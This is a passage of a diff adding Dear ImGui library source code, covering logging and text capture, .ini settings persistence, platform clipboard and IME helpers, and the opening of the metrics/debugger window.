consistency and because we might need it later. +void ImGui::EndDragDropTarget() +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.DragDropActive); + IM_ASSERT(g.DragDropWithinTarget); + g.DragDropWithinTarget = false; +} + +//----------------------------------------------------------------------------- +// [SECTION] LOGGING/CAPTURING +//----------------------------------------------------------------------------- +// All text output from the interface can be captured into tty/file/clipboard. +// By default, tree nodes are automatically opened during logging. +//----------------------------------------------------------------------------- + +// Pass text data straight to log (without being displayed) +void ImGui::LogText(const char* fmt, ...) +{ + ImGuiContext& g = *GImGui; + if (!g.LogEnabled) + return; + + va_list args; + va_start(args, fmt); + if (g.LogFile) + { + g.LogBuffer.Buf.resize(0); + g.LogBuffer.appendfv(fmt, args); + ImFileWrite(g.LogBuffer.c_str(), sizeof(char), (ImU64)g.LogBuffer.size(), g.LogFile); + } + else + { + g.LogBuffer.appendfv(fmt, args); + } + va_end(args); +} + +// Internal version that takes a position to decide on newline placement and pad items according to their depth. +// We split text into individual lines to add current tree level padding +void ImGui::LogRenderedText(const ImVec2* ref_pos, const char* text, const char* text_end) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + if (!text_end) + text_end = FindRenderedTextEnd(text, text_end); + + const bool log_new_line = ref_pos && (ref_pos->y > g.LogLinePosY + 1); + if (ref_pos) + g.LogLinePosY = ref_pos->y; + if (log_new_line) + g.LogLineFirstItem = true; + + const char* text_remaining = text; + if (g.LogDepthRef > window->DC.TreeDepth) // Re-adjust padding if we have popped out of our starting depth + g.LogDepthRef = window->DC.TreeDepth; + const int tree_depth = (window->DC.TreeDepth - g.LogDepthRef); + for (;;) + { + // Split the string. Each new line (after a '\n') is followed by spacing corresponding to the current depth of our log entry. + // We don't add a trailing \n to allow a subsequent item on the same line to be captured. + const char* line_start = text_remaining; + const char* line_end = ImStreolRange(line_start, text_end); + const bool is_first_line = (line_start == text); + const bool is_last_line = (line_end == text_end); + if (!is_last_line || (line_start != line_end)) + { + const int char_count = (int)(line_end - line_start); + if (log_new_line || !is_first_line) + LogText(IM_NEWLINE "%*s%.*s", tree_depth * 4, "", char_count, line_start); + else if (g.LogLineFirstItem) + LogText("%*s%.*s", tree_depth * 4, "", char_count, line_start); + else + LogText(" %.*s", char_count, line_start); + g.LogLineFirstItem = false; + } + else if (log_new_line) + { + // An empty "" string at a different Y position should output a carriage return. + LogText(IM_NEWLINE); + break; + } + + if (is_last_line) + break; + text_remaining = line_end + 1; + } +} + +// Start logging/capturing text output +void ImGui::LogBegin(ImGuiLogType type, int auto_open_depth) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + IM_ASSERT(g.LogEnabled == false); + IM_ASSERT(g.LogFile == NULL); + IM_ASSERT(g.LogBuffer.empty()); + g.LogEnabled = true; + g.LogType = type; + g.LogDepthRef = window->DC.TreeDepth; + g.LogDepthToExpand = ((auto_open_depth >= 0) ? auto_open_depth : g.LogDepthToExpandDefault); + g.LogLinePosY = FLT_MAX; + g.LogLineFirstItem = true; +} + +void ImGui::LogToTTY(int auto_open_depth) +{ + ImGuiContext& g = *GImGui; + if (g.LogEnabled) + return; + IM_UNUSED(auto_open_depth); +#ifndef IMGUI_DISABLE_TTY_FUNCTIONS + LogBegin(ImGuiLogType_TTY, auto_open_depth); + g.LogFile = stdout; +#endif +} + +// Start logging/capturing text output to given file +void ImGui::LogToFile(int auto_open_depth, const char* filename) +{ + ImGuiContext& g = *GImGui; + if (g.LogEnabled) + return; + + // FIXME: We could probably open the file in text mode "at", however note that clipboard/buffer logging will still + // be subject to outputting OS-incompatible carriage return if within strings the user doesn't use IM_NEWLINE. + // By opening the file in binary mode "ab" we have consistent output everywhere. + if (!filename) + filename = g.IO.LogFilename; + if (!filename || !filename[0]) + return; + ImFileHandle f = ImFileOpen(filename, "ab"); + if (!f) + { + IM_ASSERT(0); + return; + } + + LogBegin(ImGuiLogType_File, auto_open_depth); + g.LogFile = f; +} + +// Start logging/capturing text output to clipboard +void ImGui::LogToClipboard(int auto_open_depth) +{ + ImGuiContext& g = *GImGui; + if (g.LogEnabled) + return; + LogBegin(ImGuiLogType_Clipboard, auto_open_depth); +} + +void ImGui::LogToBuffer(int auto_open_depth) +{ + ImGuiContext& g = *GImGui; + if (g.LogEnabled) + return; + LogBegin(ImGuiLogType_Buffer, auto_open_depth); +} + +void ImGui::LogFinish() +{ + ImGuiContext& g = *GImGui; + if (!g.LogEnabled) + return; + + LogText(IM_NEWLINE); + switch (g.LogType) + { + case ImGuiLogType_TTY: +#ifndef IMGUI_DISABLE_TTY_FUNCTIONS + fflush(g.LogFile); +#endif + break; + case ImGuiLogType_File: + ImFileClose(g.LogFile); + break; + case ImGuiLogType_Buffer: + break; + case ImGuiLogType_Clipboard: + if (!g.LogBuffer.empty()) + SetClipboardText(g.LogBuffer.begin()); + break; + case ImGuiLogType_None: + IM_ASSERT(0); + break; + } + + g.LogEnabled = false; + g.LogType = ImGuiLogType_None; + g.LogFile = NULL; + g.LogBuffer.clear(); +} + +// Helper to display logging buttons +// FIXME-OBSOLETE: We should probably obsolete this and let the user have their own helper (this is one of the oldest function alive!) +void ImGui::LogButtons() +{ + ImGuiContext& g = *GImGui; + + PushID("LogButtons"); +#ifndef IMGUI_DISABLE_TTY_FUNCTIONS + const bool log_to_tty = Button("Log To TTY"); SameLine(); +#else + const bool log_to_tty = false; +#endif + const bool log_to_file = Button("Log To File"); SameLine(); + const bool log_to_clipboard = Button("Log To Clipboard"); SameLine(); + PushAllowKeyboardFocus(false); + SetNextItemWidth(80.0f); + SliderInt("Default Depth", &g.LogDepthToExpandDefault, 0, 9, NULL); + PopAllowKeyboardFocus(); + PopID(); + + // Start logging at the end of the function so that the buttons don't appear in the log + if (log_to_tty) + LogToTTY(); + if (log_to_file) + LogToFile(); + if (log_to_clipboard) + LogToClipboard(); +} + + +//----------------------------------------------------------------------------- +// [SECTION] SETTINGS +//----------------------------------------------------------------------------- +// - UpdateSettings() [Internal] +// - MarkIniSettingsDirty() [Internal] +// - CreateNewWindowSettings() [Internal] +// - FindWindowSettings() [Internal] +// - FindOrCreateWindowSettings() [Internal] +// - FindSettingsHandler() [Internal] +// - ClearIniSettings() [Internal] +// - LoadIniSettingsFromDisk() +// - LoadIniSettingsFromMemory() +// - SaveIniSettingsToDisk() +// - SaveIniSettingsToMemory() +// - WindowSettingsHandler_***() [Internal] +//----------------------------------------------------------------------------- + +// Called by NewFrame() +void ImGui::UpdateSettings() +{ + // Load settings on first frame (if not explicitly loaded manually before) + ImGuiContext& g = *GImGui; + if (!g.SettingsLoaded) + { + IM_ASSERT(g.SettingsWindows.empty()); + if (g.IO.IniFilename) + LoadIniSettingsFromDisk(g.IO.IniFilename); + g.SettingsLoaded = true; + } + + // Save settings (with a delay after the last modification, so we don't spam disk too much) + if (g.SettingsDirtyTimer > 0.0f) + { + g.SettingsDirtyTimer -= g.IO.DeltaTime; + if (g.SettingsDirtyTimer <= 0.0f) + { + if (g.IO.IniFilename != NULL) + SaveIniSettingsToDisk(g.IO.IniFilename); + else + g.IO.WantSaveIniSettings = true; // Let user know they can call SaveIniSettingsToMemory(). user will need to clear io.WantSaveIniSettings themselves. + g.SettingsDirtyTimer = 0.0f; + } + } +} + +void ImGui::MarkIniSettingsDirty() +{ + ImGuiContext& g = *GImGui; + if (g.SettingsDirtyTimer <= 0.0f) + g.SettingsDirtyTimer = g.IO.IniSavingRate; +} + +void ImGui::MarkIniSettingsDirty(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + if (!(window->Flags & ImGuiWindowFlags_NoSavedSettings)) + if (g.SettingsDirtyTimer <= 0.0f) + g.SettingsDirtyTimer = g.IO.IniSavingRate; +} + +ImGuiWindowSettings* ImGui::CreateNewWindowSettings(const char* name) +{ + ImGuiContext& g = *GImGui; + +#if !IMGUI_DEBUG_INI_SETTINGS + // Skip to the "###" marker if any. We don't skip past to match the behavior of GetID() + // Preserve the full string when IMGUI_DEBUG_INI_SETTINGS is set to make .ini inspection easier. + if (const char* p = strstr(name, "###")) + name = p; +#endif + const size_t name_len = strlen(name); + + // Allocate chunk + const size_t chunk_size = sizeof(ImGuiWindowSettings) + name_len + 1; + ImGuiWindowSettings* settings = g.SettingsWindows.alloc_chunk(chunk_size); + IM_PLACEMENT_NEW(settings) ImGuiWindowSettings(); + settings->ID = ImHashStr(name, name_len); + memcpy(settings->GetName(), name, name_len + 1); // Store with zero terminator + + return settings; +} + +ImGuiWindowSettings* ImGui::FindWindowSettings(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) + if (settings->ID == id) + return settings; + return NULL; +} + +ImGuiWindowSettings* ImGui::FindOrCreateWindowSettings(const char* name) +{ + if (ImGuiWindowSettings* settings = FindWindowSettings(ImHashStr(name))) + return settings; + return CreateNewWindowSettings(name); +} + +ImGuiSettingsHandler* ImGui::FindSettingsHandler(const char* type_name) +{ + ImGuiContext& g = *GImGui; + const ImGuiID type_hash = ImHashStr(type_name); + for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) + if (g.SettingsHandlers[handler_n].TypeHash == type_hash) + return &g.SettingsHandlers[handler_n]; + return NULL; +} + +void ImGui::ClearIniSettings() +{ + ImGuiContext& g = *GImGui; + g.SettingsIniData.clear(); + for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) + if (g.SettingsHandlers[handler_n].ClearAllFn) + g.SettingsHandlers[handler_n].ClearAllFn(&g, &g.SettingsHandlers[handler_n]); +} + +void ImGui::LoadIniSettingsFromDisk(const char* ini_filename) +{ + size_t file_data_size = 0; + char* file_data = (char*)ImFileLoadToMemory(ini_filename, "rb", &file_data_size); + if (!file_data) + return; + LoadIniSettingsFromMemory(file_data, (size_t)file_data_size); + IM_FREE(file_data); +} + +// Zero-tolerance, no error reporting, cheap .ini parsing +void ImGui::LoadIniSettingsFromMemory(const char* ini_data, size_t ini_size) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.Initialized); + //IM_ASSERT(!g.WithinFrameScope && "Cannot be called between NewFrame() and EndFrame()"); + //IM_ASSERT(g.SettingsLoaded == false && g.FrameCount == 0); + + // For user convenience, we allow passing a non zero-terminated string (hence the ini_size parameter). + // For our convenience and to make the code simpler, we'll also write zero-terminators within the buffer. So let's create a writable copy.. + if (ini_size == 0) + ini_size = strlen(ini_data); + g.SettingsIniData.Buf.resize((int)ini_size + 1); + char* const buf = g.SettingsIniData.Buf.Data; + char* const buf_end = buf + ini_size; + memcpy(buf, ini_data, ini_size); + buf_end[0] = 0; + + // Call pre-read handlers + // Some types will clear their data (e.g. dock information) some types will allow merge/override (window) + for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) + if (g.SettingsHandlers[handler_n].ReadInitFn) + g.SettingsHandlers[handler_n].ReadInitFn(&g, &g.SettingsHandlers[handler_n]); + + void* entry_data = NULL; + ImGuiSettingsHandler* entry_handler = NULL; + + char* line_end = NULL; + for (char* line = buf; line < buf_end; line = line_end + 1) + { + // Skip new lines markers, then find end of the line + while (*line == '\n' || *line == '\r') + line++; + line_end = line; + while (line_end < buf_end && *line_end != '\n' && *line_end != '\r') + line_end++; + line_end[0] = 0; + if (line[0] == ';') + continue; + if (line[0] == '[' && line_end > line && line_end[-1] == ']') + { + // Parse "[Type][Name]". Note that 'Name' can itself contains [] characters, which is acceptable with the current format and parsing code. + line_end[-1] = 0; + const char* name_end = line_end - 1; + const char* type_start = line + 1; + char* type_end = (char*)(void*)ImStrchrRange(type_start, name_end, ']'); + const char* name_start = type_end ? ImStrchrRange(type_end + 1, name_end, '[') : NULL; + if (!type_end || !name_start) + continue; + *type_end = 0; // Overwrite first ']' + name_start++; // Skip second '[' + entry_handler = FindSettingsHandler(type_start); + entry_data = entry_handler ? entry_handler->ReadOpenFn(&g, entry_handler, name_start) : NULL; + } + else if (entry_handler != NULL && entry_data != NULL) + { + // Let type handler parse the line + entry_handler->ReadLineFn(&g, entry_handler, entry_data, line); + } + } + g.SettingsLoaded = true; + + // [DEBUG] Restore untouched copy so it can be browsed in Metrics (not strictly necessary) + memcpy(buf, ini_data, ini_size); + + // Call post-read handlers + for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) + if (g.SettingsHandlers[handler_n].ApplyAllFn) + g.SettingsHandlers[handler_n].ApplyAllFn(&g, &g.SettingsHandlers[handler_n]); +} + +void ImGui::SaveIniSettingsToDisk(const char* ini_filename) +{ + ImGuiContext& g = *GImGui; + g.SettingsDirtyTimer = 0.0f; + if (!ini_filename) + return; + + size_t ini_data_size = 0; + const char* ini_data = SaveIniSettingsToMemory(&ini_data_size); + ImFileHandle f = ImFileOpen(ini_filename, "wt"); + if (!f) + return; + ImFileWrite(ini_data, sizeof(char), ini_data_size, f); + ImFileClose(f); +} + +// Call registered handlers (e.g. SettingsHandlerWindow_WriteAll() + custom handlers) to write their stuff into a text buffer +const char* ImGui::SaveIniSettingsToMemory(size_t* out_size) +{ + ImGuiContext& g = *GImGui; + g.SettingsDirtyTimer = 0.0f; + g.SettingsIniData.Buf.resize(0); + g.SettingsIniData.Buf.push_back(0); + for (int handler_n = 0; handler_n < g.SettingsHandlers.Size; handler_n++) + { + ImGuiSettingsHandler* handler = &g.SettingsHandlers[handler_n]; + handler->WriteAllFn(&g, handler, &g.SettingsIniData); + } + if (out_size) + *out_size = (size_t)g.SettingsIniData.size(); + return g.SettingsIniData.c_str(); +} + +static void WindowSettingsHandler_ClearAll(ImGuiContext* ctx, ImGuiSettingsHandler*) +{ + ImGuiContext& g = *ctx; + for (int i = 0; i != g.Windows.Size; i++) + g.Windows[i]->SettingsOffset = -1; + g.SettingsWindows.clear(); +} + +static void* WindowSettingsHandler_ReadOpen(ImGuiContext*, ImGuiSettingsHandler*, const char* name) +{ + ImGuiWindowSettings* settings = ImGui::FindOrCreateWindowSettings(name); + ImGuiID id = settings->ID; + *settings = ImGuiWindowSettings(); // Clear existing if recycling previous entry + settings->ID = id; + settings->WantApply = true; + return (void*)settings; +} + +static void WindowSettingsHandler_ReadLine(ImGuiContext*, ImGuiSettingsHandler*, void* entry, const char* line) +{ + ImGuiWindowSettings* settings = (ImGuiWindowSettings*)entry; + int x, y; + int i; + if (sscanf(line, "Pos=%i,%i", &x, &y) == 2) { settings->Pos = ImVec2ih((short)x, (short)y); } + else if (sscanf(line, "Size=%i,%i", &x, &y) == 2) { settings->Size = ImVec2ih((short)x, (short)y); } + else if (sscanf(line, "Collapsed=%d", &i) == 1) { settings->Collapsed = (i != 0); } +} + +// Apply to existing windows (if any) +static void WindowSettingsHandler_ApplyAll(ImGuiContext* ctx, ImGuiSettingsHandler*) +{ + ImGuiContext& g = *ctx; + for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) + if (settings->WantApply) + { + if (ImGuiWindow* window = ImGui::FindWindowByID(settings->ID)) + ApplyWindowSettings(window, settings); + settings->WantApply = false; + } +} + +static void WindowSettingsHandler_WriteAll(ImGuiContext* ctx, ImGuiSettingsHandler* handler, ImGuiTextBuffer* buf) +{ + // Gather data from windows that were active during this session + // (if a window wasn't opened in this session we preserve its settings) + ImGuiContext& g = *ctx; + for (int i = 0; i != g.Windows.Size; i++) + { + ImGuiWindow* window = g.Windows[i]; + if (window->Flags & ImGuiWindowFlags_NoSavedSettings) + continue; + + ImGuiWindowSettings* settings = (window->SettingsOffset != -1) ? g.SettingsWindows.ptr_from_offset(window->SettingsOffset) : ImGui::FindWindowSettings(window->ID); + if (!settings) + { + settings = ImGui::CreateNewWindowSettings(window->Name); + window->SettingsOffset = g.SettingsWindows.offset_from_ptr(settings); + } + IM_ASSERT(settings->ID == window->ID); + settings->Pos = ImVec2ih((short)window->Pos.x, (short)window->Pos.y); + settings->Size = ImVec2ih((short)window->SizeFull.x, (short)window->SizeFull.y); + settings->Collapsed = window->Collapsed; + } + + // Write to text buffer + buf->reserve(buf->size() + g.SettingsWindows.size() * 6); // ballpark reserve + for (ImGuiWindowSettings* settings = g.SettingsWindows.begin(); settings != NULL; settings = g.SettingsWindows.next_chunk(settings)) + { + const char* settings_name = settings->GetName(); + buf->appendf("[%s][%s]\n", handler->TypeName, settings_name); + buf->appendf("Pos=%d,%d\n", settings->Pos.x, settings->Pos.y); + buf->appendf("Size=%d,%d\n", settings->Size.x, settings->Size.y); + buf->appendf("Collapsed=%d\n", settings->Collapsed); + buf->append("\n"); + } +} + + +//----------------------------------------------------------------------------- +// [SECTION] VIEWPORTS, PLATFORM WINDOWS +//----------------------------------------------------------------------------- + +// (this section is filled in the 'docking' branch) + + +//----------------------------------------------------------------------------- +// [SECTION] DOCKING +//----------------------------------------------------------------------------- + +// (this section is filled in the 'docking' branch) + + +//----------------------------------------------------------------------------- +// [SECTION] PLATFORM DEPENDENT HELPERS +//----------------------------------------------------------------------------- + +#if defined(_WIN32) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) && !defined(IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS) + +#ifdef _MSC_VER +#pragma comment(lib, "user32") +#pragma comment(lib, "kernel32") +#endif + +// Win32 clipboard implementation +// We use g.ClipboardHandlerData for temporary storage to ensure it is freed on Shutdown() +static const char* GetClipboardTextFn_DefaultImpl(void*) +{ + ImGuiContext& g = *GImGui; + g.ClipboardHandlerData.clear(); + if (!::OpenClipboard(NULL)) + return NULL; + HANDLE wbuf_handle = ::GetClipboardData(CF_UNICODETEXT); + if (wbuf_handle == NULL) + { + ::CloseClipboard(); + return NULL; + } + if (const WCHAR* wbuf_global = (const WCHAR*)::GlobalLock(wbuf_handle)) + { + int buf_len = ::WideCharToMultiByte(CP_UTF8, 0, wbuf_global, -1, NULL, 0, NULL, NULL); + g.ClipboardHandlerData.resize(buf_len); + ::WideCharToMultiByte(CP_UTF8, 0, wbuf_global, -1, g.ClipboardHandlerData.Data, buf_len, NULL, NULL); + } + ::GlobalUnlock(wbuf_handle); + ::CloseClipboard(); + return g.ClipboardHandlerData.Data; +} + +static void SetClipboardTextFn_DefaultImpl(void*, const char* text) +{ + if (!::OpenClipboard(NULL)) + return; + const int wbuf_length = ::MultiByteToWideChar(CP_UTF8, 0, text, -1, NULL, 0); + HGLOBAL wbuf_handle = ::GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)wbuf_length * sizeof(WCHAR)); + if (wbuf_handle == NULL) + { + ::CloseClipboard(); + return; + } + WCHAR* wbuf_global = (WCHAR*)::GlobalLock(wbuf_handle); + ::MultiByteToWideChar(CP_UTF8, 0, text, -1, wbuf_global, wbuf_length); + ::GlobalUnlock(wbuf_handle); + ::EmptyClipboard(); + if (::SetClipboardData(CF_UNICODETEXT, wbuf_handle) == NULL) + ::GlobalFree(wbuf_handle); + ::CloseClipboard(); +} + +#elif defined(__APPLE__) && TARGET_OS_OSX && defined(IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS) + +#include // Use old API to avoid need for separate .mm file +static PasteboardRef main_clipboard = 0; + +// OSX clipboard implementation +// If you enable this you will need to add '-framework ApplicationServices' to your linker command-line! +static void SetClipboardTextFn_DefaultImpl(void*, const char* text) +{ + if (!main_clipboard) + PasteboardCreate(kPasteboardClipboard, &main_clipboard); + PasteboardClear(main_clipboard); + CFDataRef cf_data = CFDataCreate(kCFAllocatorDefault, (const UInt8*)text, strlen(text)); + if (cf_data) + { + PasteboardPutItemFlavor(main_clipboard, (PasteboardItemID)1, CFSTR("public.utf8-plain-text"), cf_data, 0); + CFRelease(cf_data); + } +} + +static const char* GetClipboardTextFn_DefaultImpl(void*) +{ + if (!main_clipboard) + PasteboardCreate(kPasteboardClipboard, &main_clipboard); + PasteboardSynchronize(main_clipboard); + + ItemCount item_count = 0; + PasteboardGetItemCount(main_clipboard, &item_count); + for (ItemCount i = 0; i < item_count; i++) + { + PasteboardItemID item_id = 0; + PasteboardGetItemIdentifier(main_clipboard, i + 1, &item_id); + CFArrayRef flavor_type_array = 0; + PasteboardCopyItemFlavors(main_clipboard, item_id, &flavor_type_array); + for (CFIndex j = 0, nj = CFArrayGetCount(flavor_type_array); j < nj; j++) + { + CFDataRef cf_data; + if (PasteboardCopyItemFlavorData(main_clipboard, item_id, CFSTR("public.utf8-plain-text"), &cf_data) == noErr) + { + ImGuiContext& g = *GImGui; + g.ClipboardHandlerData.clear(); + int length = (int)CFDataGetLength(cf_data); + g.ClipboardHandlerData.resize(length + 1); + CFDataGetBytes(cf_data, CFRangeMake(0, length), (UInt8*)g.ClipboardHandlerData.Data); + g.ClipboardHandlerData[length] = 0; + CFRelease(cf_data); + return g.ClipboardHandlerData.Data; + } + } + } + return NULL; +} + +#else + +// Local Dear ImGui-only clipboard implementation, if user hasn't defined better clipboard handlers. +static const char* GetClipboardTextFn_DefaultImpl(void*) +{ + ImGuiContext& g = *GImGui; + return g.ClipboardHandlerData.empty() ? NULL : g.ClipboardHandlerData.begin(); +} + +static void SetClipboardTextFn_DefaultImpl(void*, const char* text) +{ + ImGuiContext& g = *GImGui; + g.ClipboardHandlerData.clear(); + const char* text_end = text + strlen(text); + g.ClipboardHandlerData.resize((int)(text_end - text) + 1); + memcpy(&g.ClipboardHandlerData[0], text, (size_t)(text_end - text)); + g.ClipboardHandlerData[(int)(text_end - text)] = 0; +} + +#endif + +// Win32 API IME support (for Asian languages, etc.) +#if defined(_WIN32) && !defined(__GNUC__) && !defined(IMGUI_DISABLE_WIN32_FUNCTIONS) && !defined(IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS) + +#include +#ifdef _MSC_VER +#pragma comment(lib, "imm32") +#endif + +static void ImeSetInputScreenPosFn_DefaultImpl(int x, int y) +{ + // Notify OS Input Method Editor of text input position + ImGuiIO& io = ImGui::GetIO(); + if (HWND hwnd = (HWND)io.ImeWindowHandle) + if (HIMC himc = ::ImmGetContext(hwnd)) + { + COMPOSITIONFORM cf; + cf.ptCurrentPos.x = x; + cf.ptCurrentPos.y = y; + cf.dwStyle = CFS_FORCE_POSITION; + ::ImmSetCompositionWindow(himc, &cf); + ::ImmReleaseContext(hwnd, himc); + } +} + +#else + +static void ImeSetInputScreenPosFn_DefaultImpl(int, int) {} + +#endif + +//----------------------------------------------------------------------------- +// [SECTION] METRICS/DEBUGGER WINDOW +//----------------------------------------------------------------------------- +// - MetricsHelpMarker() [Internal] +// - ShowMetricsWindow() +// - DebugNodeColumns() [Internal] +// - DebugNodeDrawList() [Internal] +// - DebugNodeDrawCmdShowMeshAndBoundingBox() [Internal] +// - DebugNodeStorage() [Internal] +// - DebugNodeTabBar() [Internal] +// - DebugNodeWindow() [Internal] +// - DebugNodeWindowSettings() [Internal] +// - DebugNodeWindowsList() [Internal] +//----------------------------------------------------------------------------- + +#ifndef IMGUI_DISABLE_METRICS_WINDOW + +// Avoid naming collision with imgui_demo.cpp's HelpMarker() for unity builds. +static void MetricsHelpMarker(const char* desc) +{ + ImGui::TextDisabled("(?)"); + if (ImGui::IsItemHovered()) + { + ImGui::BeginTooltip(); + ImGui::PushTextWrapPos(ImGui::GetFontSize() * 35.0f); + ImGui::TextUnformatted(desc); + ImGui::PopTextWrapPos(); + ImGui::EndTooltip(); + } +} + +void ImGui::ShowMetricsWindow(bool* p_open) +{ + if (!Begin("Dear ImGui Metrics/Debugger", p_open)) + { + End(); + return; + } + + ImGuiContext& g = *GImGui; + ImGuiIO& io = g.IO; + ImGuiMetricsConfig* cfg = &g.DebugMetricsConfig; + + // Basic info + Text("Dear ImGui %s", ImGui::GetVersion()); + Text("Application average %.3f ms/frame (%.1f FPS)", 1000.0f / io.Framerate, io.Framerate); + Text("%d vertices, %d indices (%d triangles)", io.MetricsRenderVertices, io.MetricsRenderIndices, io.MetricsRenderIndices / 3); + Text("%d active windows (%d visible)", io.MetricsActiveWindows, io.MetricsRenderWindows); + Text("%d active allocations", io.MetricsActiveAllocations); + //SameLine(); if (SmallButton("GC")) { g.GcCompactAll = true; } + + Separator(); + + // Debugging enums + enum { WRT_OuterRect, WRT_OuterRectClipped, WRT_InnerRect, WRT_InnerClipRect, WRT_WorkRect, WRT_Content, WRT_ContentRegionRect, WRT_Count }; // Windows Rect Type + const char* wrt_rects_names[WRT_Count] = { "OuterRect", "OuterRectClipped", "InnerRect", "InnerClipRect", "WorkRect", "Content", "ContentRegionRect" }; + enum { TRT_OuterRect, TRT_InnerRect, TRT_WorkRect, TRT_HostClipRect, TRT_InnerClipRect, TRT_BackgroundClipRect, TRT_ColumnsRect, TRT_ColumnsClipRect, TRT_ColumnsContentHeadersUsed, TRT_ColumnsContentHeadersIdeal, TRT_ColumnsContentFrozen, TRT_ColumnsContentUnfrozen, TRT_Count }; // Tables Rect Type + const char* trt_rects_names[TRT_Count] = { "OuterRect", "InnerRect", "WorkRect", "HostClipRect", "InnerClipRect", "BackgroundClipRect", "ColumnsRect", "ColumnsClipRect", "ColumnsContentHeadersUsed", "ColumnsContentHeadersIdeal", "ColumnsContentFrozen", "ColumnsContentUnfrozen" }; + if (cfg->ShowWindowsRectsType < 0) + cfg->ShowWindowsRectsType = WRT_WorkRect; + if (cfg->ShowTablesRectsType < 0) + cfg->ShowTablesRectsType = TRT_WorkRect; + + struct Funcs + { + static ImRect GetTableRect(ImGuiTable* table, int rect_type, int n) + { + if (rect_type == TRT_OuterRect) { return table->OuterRect; } + else if (rect_type == TRT_InnerRect) { return table->InnerRect; } + else if (rect_type == TRT_WorkRect) { return table->WorkRect; } + else if (rect_type == TRT_HostClipRect) { return table->HostClipRect; } + else if (rect_type == TRT_InnerClipRect) { return table->InnerClipRect; } + else if (rect_type == TRT_BackgroundClipRect) { return table->BgClipRect; } + else if (rect_type == TRT_ColumnsRect) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->MinX, table->InnerClipRect.Min.y, c->MaxX, table->InnerClipRect.Min.y + table->LastOuterHeight); } + else if (rect_type == TRT_ColumnsClipRect) { ImGuiTableColumn* c = &table->Columns[n]; return c->ClipRect; } + else if (rect_type == TRT_ColumnsContentHeadersUsed) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y, c->ContentMaxXHeadersUsed, table->InnerClipRect.Min.y + table->LastFirstRowHeight); } // Note: y1/y2 not always accurate + else if (rect_type == TRT_ColumnsContentHeadersIdeal) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y, c->ContentMaxXHeadersIdeal, table->InnerClipRect.Min.y + table->LastFirstRowHeight); } + else if (rect_type == TRT_ColumnsContentFrozen) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y, c->ContentMaxXFrozen, table->InnerClipRect.Min.y + table->LastFirstRowHeight); } + else if (rect_type == TRT_ColumnsContentUnfrozen) { ImGuiTableColumn* c = &table->Columns[n]; return ImRect(c->WorkMinX, table->InnerClipRect.Min.y + table->LastFirstRowHeight, c->ContentMaxXUnfrozen, table->InnerClipRect.Max.y); } + IM_ASSERT(0); + return ImRect(); + } + + static ImRect GetWindowRect(ImGuiWindow* window, int rect_type) + { + if (rect_type == WRT_OuterRect) { return window->Rect(); } + else if (rect_type == WRT_OuterRectClipped) { return window->OuterRectClipped; } + else if (rect_type == WRT_InnerRect) { return window->InnerRect; } + else if (rect_type == WRT_InnerClipRect) { return window->InnerClipRect; } + else if (rect_type == WRT_WorkRect) { return window->WorkRect; } + else if (rect_type == WRT_Content) { ImVec2 min = window->InnerRect.Min - window->Scroll + window->WindowPadding; return ImRect(min, min + window->ContentSize); } + else if (rect_type == WRT_ContentRegionRect) { return window->ContentRegionRect; } + IM_ASSERT(0); + return ImRect(); + } + }; + + // Tools + if (TreeNode("Tools")) + { + // The Item Picker tool is super useful to visually select an item and break into the call-stack of where it was submitted. + if (Button("Item Picker..")) + DebugStartItemPicker(); + SameLine(); + MetricsHelpMarker("Will call the IM_DEBUG_BREAK() macro to break in debugger.\nWarning: If you don't have a debugger attached, this will probably crash."); + + Checkbox("Show windows begin order", &cfg->ShowWindowsBeginOrder); + Checkbox("Show windows rectangles", &cfg->ShowWindowsRects); + SameLine(); + SetNextItemWidth(GetFontSize() * 12); + cfg->ShowWindowsRects |= Combo("##show_windows_rect_type", &cfg->ShowWindowsRectsType, wrt_rects_names, WRT_Count, WRT_Count); + if (cfg->ShowWindowsRects && g.NavWindow != NULL) + { + BulletText("'%s':", g.NavWindow->Name); + Indent(); + for (int rect_n = 0; rect_n < WRT_Count; rect_n++) + { + ImRect r = Funcs::GetWindowRect(g.NavWindow, rect_n); + Text("(%6.1f,%6.1f) (%6.1f,%6.1f) Size (%6.1f,%6.1f) %s", r.Min.x, r.Min.y, r.Max.x, r.Max.y, r.GetWidth(), r.GetHeight(), wrt_rects_names[rect_n]); + } + Unindent(); + } + Checkbox("Show ImDrawCmd mesh when hovering", &cfg->ShowDrawCmdMesh); + Checkbox("Show ImDrawCmd bounding boxes when hovering", &cfg->ShowDrawCmdBoundingBoxes); + + Checkbox("Show tables rectangles", &cfg->ShowTablesRects); + SameLine(); + SetNextItemWidth(GetFontSize() * 12); + cfg->ShowTablesRects |= Combo("##show_table_rects_type", &cfg->ShowTablesRectsType, trt_rects_names, TRT_Count, TRT_Count); + if (cfg->ShowTablesRects && g.NavWindow != NULL) + { + for (int table_n = 0; table_n < g.Tables.GetSize(); table_n++) + { + ImGuiTable* table = g.Tables.GetByIndex(table_n); + if (table->LastFrameActive < g.FrameCount - 1 || (table->OuterWindow != g.NavWindow && table->InnerWindow != g.NavWindow)) + continue; + + BulletText("Table 